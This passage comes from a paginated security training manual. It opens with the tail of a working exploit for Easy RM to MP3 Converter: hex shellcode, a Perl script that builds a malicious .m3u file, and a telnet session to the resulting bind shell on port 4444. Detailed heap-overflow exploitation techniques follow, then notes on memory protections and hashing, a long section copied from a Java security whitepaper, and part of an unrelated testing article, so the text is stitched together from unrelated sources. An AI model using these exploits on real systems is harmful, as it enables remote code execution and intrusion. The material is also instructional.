"x39x4bx52x46x51x49x50x4cx33x4ex4ax4bx4ex47" .
"x32x46x4dx4bx4ex51x52x46x4cx4dx43x4cx4dx42" .
"x5ax50x38x4ex4bx4ex4bx4ex4bx43x58x42x52x4b" .
124 | P a g e
"x4ex4ex53x42x36x4bx4fx43x45x51x54x4bx4fx49" .
"x46x51x4bx46x37x46x32x50x51x50x51x46x31x42" .
"x4ax45x51x46x31x46x31x51x45x50x51x4bx4fx48" .
"x50x43x58x4ex4dx4ex39x45x55x48x4ex51x43x4b" .
"x4fx49x46x43x5ax4bx4fx4bx4fx47x47x4bx4fx48" .
"x50x4cx4bx46x37x4bx4cx4cx43x49x54x45x34x4b" .
"x4fx4ex36x50x52x4bx4fx48x50x43x58x4cx30x4c" .
"x4ax44x44x51x4fx46x33x4bx4fx48x56x4bx4fx48" .
"x50x41x41";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfullyn";
Create the m3u file, open it in the application. Easy RM to MP3 now seems to hang :
Telnet to this host on port 4444:
root@bt:/# telnet 192.168.0.197 4444
Trying 192.168.0.197...
Connected to 192.168.0.197.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:Program FilesEasy RM to MP3 Converter>
Pat boom!
Now go out and build your own exploits. Don’t forget to make yourself some nice ASCII art, get a
l33t name 
Heap Overflows
Most developers are aware of the dangers of stack based buffer overflows but too many still
believe that if a heap based buffer is overflowed it’s not too much of a problem.
125 | P a g e
One paper on secure coding suggested that to solve the problem of stack based overflows was
to move the buffer to the heap!
The heap is an area of memory used for storage of dynamic data. Every process has a default
process heap but a developer can create their own private heaps. Space is allocated from the
heap and freed when finished with.
Each heap starts with a structure. This structure, amongst other data, contains an array of 128
LIST_ENTRY structures. Each LIST_ENTRY structure contains two pointers – see winnt.h. This
array can be found at 0x178 bytes into the heap structure – call it the FreeList array.
When a heap is first created there are two pointers that point to the first free block set in
FreeList[0]. Assuming the heap base address is 0x00350000 then first available block can be
found at 0x00350688.
0x00350178 (FreeList[0].Flink) = 0x00350688 (First Free Block)
0x0035017C (FreeList[0].Blink) = 0x00350688 (First Free Block)
0x00350688 (First Free Block) = 0x00350178 (FreeList[0])
0x0035068C (First Free Block+4) = 0x00350178 (FreeList[0])
When an allocation occurs these pointers are updated accordingly. As more allocations and
frees occur these pointers are continually updated and in this fashion allocated blocks are
tracked in a doubly linked list.
When a heap based buffer is overflowed the control information is overwritten so when the
buffer (allocated block) is freed and it comes to updating the pointers in the FreeList array
there’s going to be an access violation.
Access violation
77F6256F mov dword ptr [ecx],eax
77F62571 mov dword ptr [eax+4],ecx
126 | P a g e
EAX = 0x42424242
ECX = 0x42424242
If we own both EAX and ECX we have an arbitrary DWORD overwrite. We can overwrite the data
at any 32bit address with a 32bit value of our choosing.
Exploiting Heap Overflows
Repairing the Heap
After the overflow the heap is corrupt so you’ll need to repair the heap.
Many of the Windows API calls use the default process heap and if this is corrupt the
exploit will access violate.
Could repair on a per vulnerability/exploit basis. Time consuming and could run into
problems.
Need a generic way to repair the heap which is effective for all exploits. Write it once
and reuse it.
The best method for repairing the heap is to reset the heap making it “appear” as if it is
a fresh new heap. This will keep other heap data intact but allow fresh allocations.
We reset our overflow heap control structure with heap.TotalFreeSize and set the flags
to 0x14 then set heap.FreeLists[0].Flink and heap.FreeLists[0].Blink to the start of the
fake control structure.
See code listing B – asm-repair-heap.
Unhandled Exception Filter
The Unhandled Exception Filter method is the most common method used. The UEF is
the “last ditch effort” exception handler.
Location varies from OS to OS and SP to SP. Disassemble the
SetUnhandledExceptionFilter function.
77E7E5A1 mov ecx,dword ptr [esp+4]
77E7E5A5 mov eax,[77ED73B4]
77E7E5AA mov dword ptr ds:[77ED73B4h],ecx
127 | P a g e
77E7E5B0 ret 4
UEF = 0x77ED73B4
When an unhandled exception occurs the following block of code is executed:
77E93114 mov eax,[77ED73B4]
77E93119 cmp eax,esi
77E9311B je 77E93132
77E9311D push edi ***
77E9311E call eax
Essence of the method is to set our own Unhandled Exception Filter.
EDI was pushed onto the stack. 0x78 bytes past EDI is a pointer to the end of the buffer
– just before the heap management control stuff.
Set the UEF to an address that points to a
CALL DWORD PTR [EDI + 0x78]
Many can be found in netapi32.dll, user32.dll, rpcrt4.dll for example.
Notes: Other Operating Systems may not use EDI. Windows 2000 for example has a
pointer at ESI+0x4C and EBP+0x74.
Using this method you need to know the target system – i.e. what OS and what SP level.
Vectored Exception Handling
Vectored Exception Handling is new as of Windows XP.
Unlike traditional frame based exception handling where EXCEPTION_REGISTRATION
structures are stored on the stack information about VEH is stored on the heap.
A pointer to the first Vectored Exception Handler is stored at 0x77FC3210. Points to a
_VECTORED_EXCEPTION_NODE.
struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
PVOID m_pfnVectoredHandler;
}
128 | P a g e
Vectored handlers are called before any frame based handlers! Technique involves
overwriting the pointer to the first _VECTORED_EXCEPTION_NODE @ 0x77FC3210 with
a pointer to a fake VE node.
77F7F49E mov esi,dword ptr ds:[77FC3210h]
77F7F4A4 jmp 77F7F4B4
77F7F4A6 lea eax,[ebp-8]
77F7F4A9 push eax
77F7F4AA call dword ptr [esi+8]
77F7F4AD cmp eax,0FFh
77F7F4B0 je 77F7F4CC
77F7F4B2 mov esi,dword ptr [esi]
77F7F4B4 cmp esi,edi
77F7F4B6 jne 77F7F4A6
The code behind is calling the vectored exception handler.
Need to find a pointer on the stack to our buffer. Assume it can be found at
0x0012FF50. This becomes our m_pfnVectoredHandler making the address of our
pseudo _VECTORED_EXCEPTION_NODE 0x0012FF48.
Remember on the free we get an arbitrary DWORD overwrite:
77F6256F mov dword ptr [ecx],eax
77F62571 mov dword ptr [eax+4],ecx
We set EAX to 0x77FC320C and ECX to 0x0012FF48.
0x77FC320C is moved into 0x0012FF48 then 0x0012FF48 is moved into 0x77FC3210 –
thus our pointer is set. When an exception occurs 0x0012FF48 (our pseudo VEN) is
moved into ESI and DWORD PTR[ESI+8] is called. ESI+8 is a pointer to our buffer.
Notes: If the location of the stack (and thus the pointer to the buffer) moves this
method can be unreliable.
Each process contains a structure known as the PROCESS ENVIRONMENT BLOCK or PEB.
The PEB can be referenced from the Thread Information/Environment Block TIB/TEB.
FS:[0] points to the TEB.
mov eax, dword ptr fs:[0x30]
mov eax, dword ptr fs:[eax+0x18]
129 | P a g e
As well as containing other process specific data the PEB contains some pointers to
RtlEnterCriticalSection and RtlLeaveCriticalSection. These pointers are referenced from
RtlAccquirePebLock and RtlReleasePebLock. RtlAccquirePebLock is called from
ExitProcess for example.
The location of the PEB is stable across Windows NT 4 / 2000 / XP and thus the pointer
to RtlEnterCriticalSection can be found at 0x7FFDF020. Whilst the PEB can be found at
the same address in Windows 2003 the function pointers are no longer present so this
method won’t work with 2003.
The method simply involves overwriting the pointer to RtlEnterCriticalSection in the PEB
with the address of an instruction that will return to the buffer.
Each Thread Environment Block contains a pointer to the first frame based exception
handler. The first thread’s TEB has a base address of 0x7FFDE000 and each new thread’s
TEB is assigned an address growing towards 0x00000000. If a thread exits and a new
thread is created then it will get the address of the previous thread’s TEB.
This can lead to a “messy” TEB table and can make this method uncertain.
However, if the address of the vulnerable thread’s TEB is stable then this method can be
used quite effectively.
The method involves overwriting the pointer to the first exception handler in the TEB
with an address that points to an instruction that will get path of execution back to the
buffer.
There are other ways to exploit heap based buffer overflows to execute arbitrary code
to defeat mechanisms such as marking the heap as non-executable.
Assume we have a process with the heap marked as non-executable. This can be
defeated with pointer subversion.
An example of this can be found in the fault reporting functionality of the
UnhandledExceptionFilter() function.
The fault reporting code calls GetSystemDirectoryW() to which “faultrep.dll” is
concatenated. This library is the loaded and the ReportFault() function is called.
GetSystemDirectoryW() references a pointer in the .data section of kernel32.dll that
points to where the wide character string of the Windows system directory can be
found. This pointer can be found at 0x77ED73BC. On overflow we can set this pointer to
our own system directory.
130 | P a g e
Thus when GetSystemDirectoryW() is called the “system” directory is a directory owned
by the attacker – this can even be a UNC path. The attacker would create their own
faultrep.dll which exports a ReportFault() function and so when the
UnhandledExceptionFilter() function is called arbitrary code can be executed.
Whilst code paths are finite I’d argue that the possibilities of what can be done are
limited more by the imagination.
Off-By-One
Signed vs. Un-Signed
131 | P a g e
 There are two types of numeric variables:
o One is signed, ranges from -32767 to +32767
o Second one has no sign, ranges from 0 to 65535
 The first determines if the number is negative or not, let’s take an example:
a) 0x11E3 Signed Short Integer
0x11E3 = 0001000111100011 = -7407
b) 0x11E3 ‫כ‬ Unsigned Short Integer
0x11E3 = 1110111100011100 = 58129
Memory Protection Mechanisms
Security Cookie (Canary)
• This mechanism was created to avoid successful code execution when overwriting stack
variables.
• The mechanism creates a random value on process runtime, plants it before the
functions return pointer and verifying it before calling the “ret” command.
132 | P a g e
• While the application is attacked, and the return address is overwritten, this value is
also overwritten, the memory overwrite is being detected and the application does not
call the return command. (it usually closes itself)
• This way, there is no way to overwrote the return address (EIP) without the software
knowing it and protecting itself
SafeSEH
• This mechanism was invented to prevent attackers from executing code by overwriting
the error handler pointer
133 | P a g e
• SHE overwrites were used to bypass the Stack’s Security Cookie by overwriting the
exception handler and causing an exception, therefore executing code before the
function returns and before the stack cookie is being verified.
• SafeSEH denies the ability of an attacker to execute code by overwriting the SHE handler
by maintaining a white-list of allowed SHE function pointers, gathered at compilation
time and there no unauthorized dynamically added/written SHE pointer will be
executed.
• The problem with this method is that old unsafe libraries that are loaded into the
process at known addresses can be used as trampolines to execute code.
Address Space Layout Randomization (ASLR)
134 | P a g e
• ASLR is a mechanism which randomizes the modules addresses in the application’s
memory space, creating an unpredictable process layout and denying attackers from
knowing the memory addresses of useful code and system calls.
• The system calls/APIs addresses are being randomizes with each system reboot
• The application’s modules addresses are being randomizes with process initialization
• ASLR eliminates SafeSEH bypassing with old libraries, stack cookie bypass using return-
to-libc attacks and disabling DEP using return-to-libc.
NX (No eXecute – Hardware DEP)
• NX is a bit in each the PageEntry which tells the CPU/Operating System if the bytes in
this memory page is code and is meant and allowed to be executed.
• This bits purpose is denying attackers from executing code while attacking applications
• When the attacker executes the attack, he makes a jump into his own code, when DEP is
enables the application closes right after the jump, since it is not allowed to execute
code from user/attacker influenced memory locations such as the Stack and the Head.
135 | P a g e
Windows - Software DEP
NX – In Sun VM Environment
136 | P a g e
NX – Process Support
137 | P a g e
138 | P a g e
Basic Intoduction To Cryptography
Hash
A hash function is any well-defined procedure or mathematical function that converts a large,
possibly variable-sized amount of data into a small datum, usually a single integer that may
serve as an index to an array (cf. associative array). The values returned by a hash function are
called hash values, hash codes, hash sums, checksums or simply hashes.
Hash functions are mostly used to speed up table lookup or data comparison tasks—such as
finding items in a database, detecting duplicated or similar records in a large file, finding similar
stretches in DNA sequences, and so on.
A hash function may map two or more keys to the same hash value. In many applications, it is
desirable to minimize the occurrence of such collisions, which means that the hash function
must map the keys to the hash values as evenly as possible. Depending on the application, other
properties may be required as well. Although the idea was conceived in the 1950s, the design of
good hash functions is still a topic of active research.
Hash functions are related to (and often confused with) checksums, check digits, fingerprints,
randomization functions, error correcting codes, and cryptographic hash functions. Although
these concepts overlap to some extent, each has its own uses and requirements and is designed
and optimized differently. The HashKeeper database maintained by the American National Drug
Intelligence Center, for instance, is more aptly described as a catalog of file fingerprints than of
hash values.
139 | P a g e
MD5 HASH “Reverse”
Let’s create the MD5 Hash of the text “Password10”:
Let’s submit the hash to a public website and watch the results:
140 | P a g e
Rainbow Tables
A rainbow table is a pre-computed table for reversing cryptographic hash functions, usually for
cracking password hashes. Tables are usually used in recovering the plaintext password, up to a
certain length consisting of a limited set of characters. It is a form of time-memory tradeoff,
using less CPU at the cost of more storage. Proper key derivation functions employ salt to make
this attack infeasible.
Simplified rainbow table with 3 reduction functions
Rainbow tables are a refinement of an earlier, simpler algorithm by Martin Hellman that used
the inversion of hashes by looking up pre-computed hash chains.
141 | P a g e
SSL
How Does SSL Work?
Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), are cryptographic
protocols that provide communication security over the Internet. TLS and SSL encrypt the
segments of network connections above theTransport Layer, using asymmetric cryptography for
privacy and a keyed message authentication code (trustworthy symmetric key exchange) for message
reliability.
Several versions of the protocols are in widespread use in applications such as web
browsing, electronic mail, Internet faxing, instant messaging and voice-over-IP (VoIP).
The TLS protocol allows client/server applications to communicate across a network in a way designed to
prevent eavesdropping and tampering.
A TLS client and server negotiate a stateful connection by using a handshaking procedure. During this
handshake, the client and server agree on various parameters used to establish the connection's security.
 The handshake begins when a client connects to a TLS-enabled server requesting a secure connection
and presents a list of supported CipherSuites (ciphers and hash functions).
 From this list, the server picks the strongest cipher and hash function that it also supports and
notifies the client of the decision.
142 | P a g e
 The server sends back its identification in the form of a digital certificate. The certificate usually
contains the server name, the trusted certificate authority (CA) and the server's public encryption
key.
 The client may contact the server that issued the certificate (the trusted CA as above) and confirm
the validity of the certificate before proceeding.
 In order to generate the session keys used for the secure connection, the client encrypts a random
number with the server's public key and sends the result to the server. Only the server should be able
to decrypt it, with its private key.
 From the random number, both parties generate key material for encryption and decryption.
This concludes the handshake and begins the secured connection, which is encrypted and decrypted with
the key material until the connection closes.
If any one of the above steps fails, the TLS handshake fails and the connection is not created.
143 | P a g e
Java Language Security and Bytecode Verification
type-safe
automatic memory management
garbage collection
range-checking on arrays
the language defines four distinct access levels: private, protected, public, and, if unspecified,
package. The most open access specifier is public—access is allowed to anyone. The most
restrictive modifier is private—access is not allowed outside the particular class in which the
private member (a method, for example) is defined. The protected modifier allows access to any
subclass, or to other classes within the same package. Package-level access only allows access to
classes within the same package.
A compiler translates Java programs into a machine-independent bytecode representation. A
bytecode verifier is invoked to ensure that only legitimate bytecodes are executed in the Java
runtime. It checks that the bytecodes conform to the Java Language Specification and do not
violate Java language rules or namespace restrictions. The verifier also checks for memory
management violations, stack underflows or overflows, and illegal data typecasts. Once
bytecodes have been verified, the Java runtime prepares them for execution.
Security Providers
The java.security.Provider class encapsulates the notion of a security provider in the Java
platform.
It specifies the provider’s name and lists the security services it implements. Multiple providers
may be configured
at the same time, and are listed in order of preference. When a security service is requested, the
highest priority
provider that implements that service is selected.
Applications rely on the relevant getInstance method to obtain a security service from an
underlying provider.
For example, message digest creation represents one type of service available from providers.
(Chapter 4 discusses
message digests and other cryptographic services.) An application invokes the getInstance
method in the
java.security.MessageDigest class to obtain an implementation of a specific message digest
algorithm,
such as MD5.
144 | P a g e
MessageDigest md = MessageDigest.getInstance("MD5");
The program may optionally request an implementation from a specific provider, by indicating
the provider name,
as in the following:
MessageDigest md =
MessageDigest.getInstance("MD5", "ProviderC");
Figures 1 and 2 illustrate these options for requesting an MD5 message digest implementation.
Both figures show
three providers that implement message digest algorithms. The providers are ordered by
preference from left to
right (1-3). In Figure 1, an application requests an MD5 algorithm implementation without
specifying a provider
Sun Microsystems, Inc. Basic Security Architecture P3
name. The providers are searched in preference order and the implementation from the first
provider supplying
that particular algorithm, ProviderB, is returned. In Figure 2, the application requests the MD5
algorithm
implementation from a specific provider, ProviderC. This time the implementation from that
provider is returned,
even though a provider with a higher preference order, ProviderB, also supplies an MD5
implementation.
Figure 1 – Provider searching Figure 2 – Specific provider requested
The Java platform implementation from Sun Microsystems includes a number of pre-configured
default
145 | P a g e
providers that implement a basic set of security services that can be used by applications. Note
that other vendor
implementations of the Java platform may include different sets of providers that encapsulate
vendor-specific
sets of security services. When this paper mentions built-in default providers, it is referencing
those available in
Sun’s implementation.
The sections below on the various security areas (cryptography, authentication, etc.) each
include descriptions
of the relevant services supplied by the default providers. A table in Appendix C summarizes all
of the default
providers.
File Locations
Certain aspects of Java security mentioned in this paper, including the configuration of
providers, may be
customized by setting security properties. You may set security properties statically in the
security properties file,
which by default is the java.security file in the lib/security directory of the directory where the
Java™ Runtime
Environment (JRE) is installed. Security properties may also be set dynamically by calling
appropriate methods of
the Security class (in the java.security package).
The tools and commands mentioned in this paper are all in the ~jre/bin directory, where ~jre
stands for the
directory in which the JRE is installed. The cacerts file mentioned in Chapter 5 is in
~jre/lib/security.
Cryptography
The Java cryptography architecture is a framework for accessing and developing cryptographic
functionality for
the Java platform. It includes APIs for a large variety of cryptographic services, including:
• Message digest algorithms
• Digital signature algorithms
• Symmetric bulk encryption
• Symmetric stream encryption
• Asymmetric encryption
• Password-based encryption (PBE)
• Elliptic Curve Cryptography (ECC)
• Key agreement algorithms
• Key generators
• Message Authentication Codes (MACs)
• (Pseudo-)random number generators
For historical (export control) reasons, the cryptography APIs are organized into two distinct packages.
The
java.security package contains classes that are not subject to export controls (like Signature and
146 | P a g e
MessageDigest). The javax.crypto package contains classes that are subject to export controls (like
Cipher and KeyAgreement).
The cryptographic interfaces are provider-based, allowing for multiple and interoperable cryptography
implementations.
Some providers may perform cryptographic operations in software; others may perform the operations
on a
hardware token (for example, on a smartcard device or on a hardware cryptographic accelerator).
Providers that
implement export-controlled services must be digitally signed.
The Java platform includes built-in providers for many of the most commonly used cryptographic
algorithms,
including the RSA and DSA signature algorithms, the DES, AES, and ARCFOUR encryption algorithms, the
MD5
and SHA-1 message digest algorithms, and the Diffie-Hellman key agreement algorithm. These default
providers
implement cryptographic algorithms in Java code.
The Java platform also includes a built-in provider that acts as a bridge to a native PKCS#11 (v2.x) token.
This
provider, named “SunPKCS11”, allows Java applications to seamlessly access cryptographic services
located on
PKCS#11-compliant tokens.
Public Key Infrastructure
Public Key Infrastructure (PKI) is a term used for a framework that enables secure exchange of
information based
on public key cryptography. It allows identities (of people, organizations, etc.) to be bound to digital
certificates
and provides a means of verifying the authenticity of certificates. PKI encompasses keys, certificates,
public key
encryption, and trusted Certification Authorities (CAs) who generate and digitally sign certificates.
The Java platform includes API and provider support for X.509 digital certificates and certificate
revocation lists
(CRLs), as well as PKIX-compliant certification path building and validation. The classes related to PKI are
located
in the java.security and java.security.cert packages.
Key and Certificate Storage
The Java platform provides for long-term persistent storage of cryptographic keys and certificates via key
and
certificate stores. Specifically, the java.security.KeyStore class represents a key store, a secure repository
of cryptographic keys and/or trusted certificates (to be used, for example, during certification path
validation),
and the java.security.cert.CertStore class represents a certificate store, a public and potentially
vast repository of unrelated and typically untrusted certificates. A CertStore may also store CRLs.
147 | P a g e
KeyStore and CertStore implementations are distinguished by types. The Java platform includes the
standard PKCS11 and PKCS12 key store types (whose implementations are compliant with the
corresponding PKCS
specifications from RSA Security), as well as a proprietary file-based key store type called JKS (which
stands for
“Java Key Store”).
The Java platform includes a special built-in JKS key store, cacerts, that contains a number of certificates
for
well-known, trusted CAs. The keytool documentation (see the security features documentation link in
Chapter 9)
lists the certificates included in cacerts.
The SunPKCS11 provider mentioned in the “Cryptography” chapter (Chapter 4) includes a PKCS11
KeyStore
implementation. This means that keys and certificates residing in secure hardware (such as a smartcard)
can be
accessed and used by Java applications via the KeyStore API. Note that smartcard keys may not be
permitted
to leave the device. In such cases, the java.security.Key object reference returned by the KeyStore
API may simply be a reference to the key (that is, it would not contain the actual key material). Such a Key
object can only be used to perform cryptographic operations on the device where the actual key resides.
The Java platform also includes an LDAP certificate store type (for accessing certificates stored in an LDAP
directory), as well as an in-memory Collection certificate store type (for accessing certificates managed in
a
java.util.Collection object).
PKI Tools
There are two built-in tools for working with keys, certificates, and key stores:
keytool is used to create and manage key stores. It can
• Create public/private key pairs
• Display, import, and export X.509 v1, v2, and v3 certificates stored as files
Sun Microsystems, Inc. Public Key Infrastructure P7
• Create self-signed certificates
• Issue certificate (PKCS#10) requests to be sent to CAs
• Import certificate replies (obtained from the CAs sent certificate requests)
• Designate public key certificates as trusted
The jarsigner tool is used to sign JAR files, or to verify signatures on signed JAR files. The Java™ ARchive
(JAR) file
format enables the bundling of multiple files into a single file. Typically a JAR file contains the class files
and
auxiliary resources associated with applets and applications. When you want to digitally sign code, you
first use
keytool to generate or import appropriate keys and certificates into your key store (if they are not there
already),
then use the jar tool to place the code in a JAR file, and finally use the jarsigner tool to sign the JAR file.
The
jarsigner tool accesses a key store to find any keys and certificates needed to sign a JAR file or to verify
the
signature of a signed JAR file.
Note – jarsigner can optionally generate signatures that include a timestamp. Systems (such as Java™ Plug-in) that
verify JAR file
signatures can check the timestamp and accept a JAR file that was signed while the signing certificate was valid rather
than
148 | P a g e
requiring the certificate to be current. (Certificates typically expire annually, and it is not reasonable to expect JAR file
creators
to re-sign deployed JAR files annually.)
P8 Authentication Sun Microsystems, Inc.
Chapter 6
Authentication
Authentication is the process of determining the identity of a user. In the context of the Java™ runtime
environment,
it is the process of identifying the user of an executing Java program. In certain cases, this process may
rely on
the services described in the “Cryptography” chapter (Chapter 4).
The Java platform provides APIs that enable an application to perform user authentication via pluggable
login
modules. Applications call into the LoginContext class (in the javax.security.auth.login package),
which in turn references a configuration. The configuration specifies which login module (an
implementation of the
javax.security.auth.spi.LoginModule interface) is to be used to perform the actual authentication.
Since applications solely talk to the standard LoginContext API, they can remain independent from the
underlying plug-in modules. New or updated modules can be plugged in for an application without having
to
modify the application itself. Figure 3 illustrates the independence between applications and underlying
login
modules:
149 | P a g e
150 | P a g e
It is important to note that although login modules are pluggable components that can be configured into
the
Java platform, they are not plugged in via security providers. Therefore, they do not follow the provider
searching
model described in Chapter 3. Instead, as is shown in the above diagram, login modules are administered
by their
own unique configuration.
Application
Authentication
Framework
Smartcard Kerberos Username/
Password
Configuration
The Java platform provides the following built-in LoginModules, all in the com.sun.security.auth.
module package:
• Krb5LoginModule for authentication using Kerberos protocols
• JndiLoginModule for username/password authentication using LDAP or NIS databases
• KeyStoreLoginModule for logging into any type of key store, including a PKCS#11 token
key store
Authentication can also be achieved during the process of establishing a secure communication channel
between
two peers. The Java platform provides implementations of a number of standard communication
protocols, whichare discussed in the following chapter.
Secure Communication
The data that travels across a network can be accessed by someone who is not the intended recipient.
When the
data includes private information, such as passwords and credit card numbers, steps must be taken to
make the
data unintelligible to unauthorized parties. It is also important to ensure that you are sending the data to
the
appropriate party, and that the data has not been modified, either intentionally or unintentionally, during
transport.
Cryptography forms the basis required for secure communication, and that is described in Chapter 4. The
Java
platform also provides API support and provider implementations for a number of standard secure
communication
protocols.
SSL/TLS
The Java platform provides APIs and an implementation of the SSL and TLS protocols that includes
functionality for
data encryption, message integrity, server authentication, and optional client authentication. Applications
can use
SSL/TLS to provide for the secure passage of data between two peers over any application protocol, such
as HTTP
151 | P a g e
on top of TCP/IP.
The javax.net.ssl.SSLSocket class represents a network socket that encapsulates SSL/TLS support
on top of a normal stream socket (java.net.Socket). Some applications might want to use alternate data
transport abstractions (e.g., New-I/O); the javax.net.ssl.SSLEngine class is available to produce and
consume SSL/TLS packets.
The Java platform also includes APIs that support the notion of pluggable (provider-based) key managers
and trust
managers. A key manager is encapsulated by the javax.net.ssl.KeyManager class, and manages the keys
used to perform authentication. A trust manager is encapsulated by the TrustManager class (in the same
package), and makes decisions about who to trust based on certificates in the key store it manages.
SASL
Simple Authentication and Security Layer (SASL) is an Internet standard that specifies a protocol for
authentication
and optional establishment of a security layer between client and server applications. SASL defines how
authentication
data is to be exchanged, but does not itself specify the contents of that data. It is a framework into which
specific authentication mechanisms that specify the contents and semantics of the authentication data
can fit.
There are a number of standard SASL mechanisms defined by the Internet community for various security
levels
and deployment scenarios.
The Java SASL API defines classes and interfaces for applications that use SASL mechanisms. It is defined
to be
mechanism-neutral; an application that uses the API need not be hardwired into using any particular SASL
mechanism. Applications can select the mechanism to use based on desired security features. The API
supports
both client and server applications. The javax.security.sasl.Sasl class is used to create SaslClient
and SaslServer objects.
P10 Secure Communication Sun Microsystems, Inc.
SASL mechanism implementations are supplied in provider packages. Each provider may support one or
more SASL
mechanisms and is registered and invoked via the standard provider architecture.
The Java platform includes a built-in provider that implements the following SASL mechanisms:
• CRAM-MD5, DIGEST-MD5, EXTERNAL, GSSAPI, and PLAIN client mechanisms
• CRAM-MD5, DIGEST-MD5, and GSSAPI server mechanisms
GSS-API and Kerberos
The Java platform contains an API with the Java language bindings for the Generic Security Service
Application
Programming Interface (GSS-API). GSS-API offers application programmers uniform access to security
services atop
a variety of underlying security mechanisms. The Java GSS-API currently requires use of a Kerberos v5
mechanism,
and the Java platform includes a built-in implementation of this mechanism. At this time, it is not possible
to plug
in additional mechanisms.
Note – The Krb5LoginModule mentioned in Chapter 6 can be used in conjunction with the GSS Kerberos
mechanism.
Before two applications can use the Java GSS-API to securely exchange messages between them, they
must
152 | P a g e
establish a joint security context. The context encapsulates shared state information that might include,
for
example, cryptographic keys. Both applications create and use an org.ietf.jgss.GSSContext object to
establish and maintain the shared information that makes up the security context. Once a security context
has
been established, it can be used to prepare secure messages for exchange.
The Java GSS APIs are in the org.ietf.jgss package. The Java platform also defines basic Kerberos classes,
like KerberosPrincipal and KerberosTicket, which are located in the javax.security.
auth.kerberos package.
Sun Microsystems, Inc. Secure Communication P11
Chapter 8
Access Control
The access control architecture in the Java platform protects access to sensitive resources (for example,
local files)
or sensitive application code (for example, methods in a class). All access control decisions are mediated
by a
security manager, represented by the java.lang.SecurityManager class. A SecurityManager must
be installed into the Java runtime in order to activate the access control checks.
Java applets and Java™ Web Start applications are automatically run with a SecurityManager installed.
However, local applications executed via the java command are by default not run with a
SecurityManager
installed. In order to run local applications with a SecurityManager, either the application itself must
programmatically set one via the setSecurityManager method (in the java.lang.System class), or
java must be invoked with a -Djava.security.manager argument on the command line.
Permissions
When Java code is loaded by a class loader into the Java runtime, the class loader automatically associates
the
following information with that code:
• Where the code was loaded from
• Who signed the code (if anyone)
• Default permissions granted to the code
This information is associated with the code regardless of whether the code is downloaded over an
untrusted
network (e.g., an applet) or loaded from the filesystem (e.g., a local application). The location from which
the code
was loaded is represented by a URL, the code signer is represented by the signer’s certificate chain, and
default
permissions are represented by java.security.Permission objects.
The default permissions automatically granted to downloaded code include the ability to make network
connections back to the host from which it originated. The default permissions automatically granted to
code
loaded from the local filesystem include the ability to read files from the directory it came from, and also
from
subdirectories of that directory.
Note that the identity of the user executing the code is not available at class loading time. It is the
responsibility of
application code to authenticate the end user if necessary (for example, as described in Chapter 6). Once
the user
153 | P a g e
has been authenticated, the application can dynamically associate that user with executing code by
invoking the
doAs method in the javax.security.auth.Subject class.
Policy
As mentioned earlier, a limited set of default permissions are granted to code by class loaders.
Administrators have
the ability to flexibly manage additional code permissions via a security policy. The Java platform
encapsulates the
notion of a security policy in the java.security.Policy class. There is only one Policy object installed
into the Java runtime at any given time. The basic responsibility of the Policy object is to determine
whether
access to a protected resource is permitted to code (characterized by where it was loaded from, who
signed it,
and who is executing it). How a Policy object makes this determination is implementation-dependent. For
example, it may consult a database containing authorization data, or it may contact another service.
P12 Access Control Sun Microsystems, Inc.
The Java platform includes a default Policy implementation that reads its authorization data from one or
more
ASCII (UTF-8) files configured in the security properties file. These policy files contain the exact sets of
permissions
granted to code—specifically, the exact sets of permissions granted to code loaded from particular
locations,
signed by particular entities, and executing as particular users. The policy entries in each file must
conform to a
documented proprietary syntax, and may be composed via a simple text editor or the graphical policytool
utility.
Access Control Enforcement
The Java runtime keeps track of the sequence of Java calls that are made as a program executes. When
access to a
protected resource is requested, the entire call stack, by default, is evaluated to determine whether the
requested
access is permitted.
As mentioned earlier, resources are protected by the SecurityManager. Security-sensitive code in the Java
platform and in applications protects access to resources via code like the following:
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkPermission(perm);
}
where perm is the Permission object that corresponds to the requested access. For example, if an attempt
is
made to read the file /tmp/abc, the permission may be constructed as follows:
Permission perm =
new java.io.FilePermission("/tmp/abc", "read");
The default implementation of SecurityManager delegates its decision to the java.security.
AccessController implementation. The AccessController traverses the call stack, passing to the
installed security Policy each code element in the stack, along with the requested permission (for
example, the
FilePermission in the above example). The Policy determines whether the requested access is granted,
based on the permissions configured by the administrator. If access is not granted, the AccessController
throws a java.lang.SecurityException.
154 | P a g e
Figure 4 illustrates access control enforcement. In this particular example, there are initially two elements
on
the call stack, ClassA and ClassB. ClassA invokes a method in ClassB, which then attempts to access the file
/tmp/abc by creating an instance of java.io.FileInputStream. The FileInputStream constructor
creates a FilePermission, perm, as shown above, and then passes perm to the SecurityManager’s
checkPermission method. In this particular case, only the permissions for ClassA and ClassB need to be
checked, because all system code, including FileInputStream, SecurityManager, and
AccessController, automatically receives all permissions.
In this example, ClassA and ClassB have different code characteristics—they come from different locations
and
have different signers. Each may have been granted a different set of permissions. The AccessController
only grants access to the requested file if the Policy indicates that both classes have been granted the
required FilePermission.
155 | P a g e
156 | P a g e
157 | P a g e
There are also three Kerberos-related tools that are shipped with the Java platform for Windows.
Equivalent
functionality is provided in tools of the same name that are automatically part of the Solaris™ and Linux
operating
environments. Table 3 summarizes the Kerberos tools.
Appendix C – Built-in Providers
The Java platform implementation from Sun Microsystems includes a number of built-in provider
packages. Table 4 summarizes some of the most important security services supplied by these providers.
For
158 | P a g e
details, see the documentation referenced in the “For More Information” chapter.
In the table, the providers are listed in default preference order, and the preference order is shown
underneath
each provider name, in parentheses. The final column lists the standard names that can be passed to
relevant
getInstance calls (for example, MessageDigest.getInstance).
159 | P a g e
160 | P a g e
Acceptance-test driven development for web applications
ATDD is a simple process change that can have far-reaching implications for
your development projects.
Acceptance-Test Driven Development, or ATDD, is a collaborative practice wherein application developers, software
users, and business analysts define automated acceptance criteria very early in the application development process.
They then use the acceptance criteria to guide subsequent development work. As John Ferguson Smart explains in
161 | P a g e
this JavaWorld feature, ATDD is a simple process change that can have far-reaching implications for your
development projects.
From acceptance tests to ATDD
The idea of acceptance tests -- a set of tests that must pass before an application can be considered
finished -- is certainly not new. Indeed, the value of testing an application before delivering it is
relatively well established.
Traditionally, testers will prepare test plans and execute tests manually at the end of the software
development phase. Acceptance testing is done relatively independent of development activities. In
